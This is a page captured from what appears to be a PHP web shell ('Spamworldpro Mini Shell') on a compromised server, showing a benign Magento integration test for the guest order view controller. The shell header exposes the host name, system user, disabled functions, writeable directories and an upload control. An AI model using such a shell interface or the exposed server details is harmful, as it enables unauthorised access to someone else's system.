Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/integration/testsuite/Magento/Sales/Controller/Guest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/integration/testsuite/Magento/Sales/Controller/Guest/ViewTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Sales\Controller\Guest;

use Magento\Framework\Stdlib\CookieManagerInterface;
use Magento\Sales\Api\Data\OrderInterfaceFactory;
use Magento\Sales\Api\OrderRepositoryInterface;
use Magento\Sales\Helper\Guest;
use Magento\TestFramework\Request;
use Magento\TestFramework\TestCase\AbstractController;

/**
 * Test for orders and returns controller.
 *
 * @see \Magento\Sales\Controller\Guest\View
 */
class ViewTest extends AbstractController
{
    /** @var CookieManagerInterface */
    private $cookieManager;

    /** @var OrderInterfaceFactory */
    private $orderFactory;

    /** @var OrderRepositoryInterface */
    private $orderRepository;

    /**
     * @inheritdoc
     */
    protected function setUp(): void
    {
        parent::setUp();

        $this->cookieManager = $this->_objectManager->get(CookieManagerInterface::class);
        $this->orderFactory = $this->_objectManager->get(OrderInterfaceFactory::class);
        $this->orderRepository = $this->_objectManager->get(OrderRepositoryInterface::class);
    }

    /**
     * Check that controller applied GET requests.
     *
     * @return void
     */
    public function testExecuteWithGetRequest(): void
    {
        $this->getRequest()->setMethod(Request::METHOD_GET);
        $this->dispatch('sales/guest/view/');

        $this->assertRedirect($this->stringContains('sales/guest/form'));
    }

    /**
     * @magentoDataFixture Magento/Sales/_files/order.php
     *
     * @return void
     */
    public function testExecuteWithWrongCookie(): void
    {
        $order = $this->orderFactory->create()->loadByIncrementId('100000001');
        $order->setProtectCode('0e6640');
        $this->orderRepository->save($order);
        $cookieValue = base64_encode('0' . ':' . $order->getIncrementId());
        $this->cookieManager->setPublicCookie(Guest::COOKIE_NAME, $cookieValue);
        $this->getRequest()->setMethod(Request::METHOD_GET);
        $this->dispatch('sales/guest/view/');
        $this->assertRedirect($this->stringContains('sales/guest/form/'));
        $this->assertSessionMessages(
            $this->containsEqual((string)__('You entered incorrect data. Please try again.'))
        );
    }
}

Spamworldpro Mini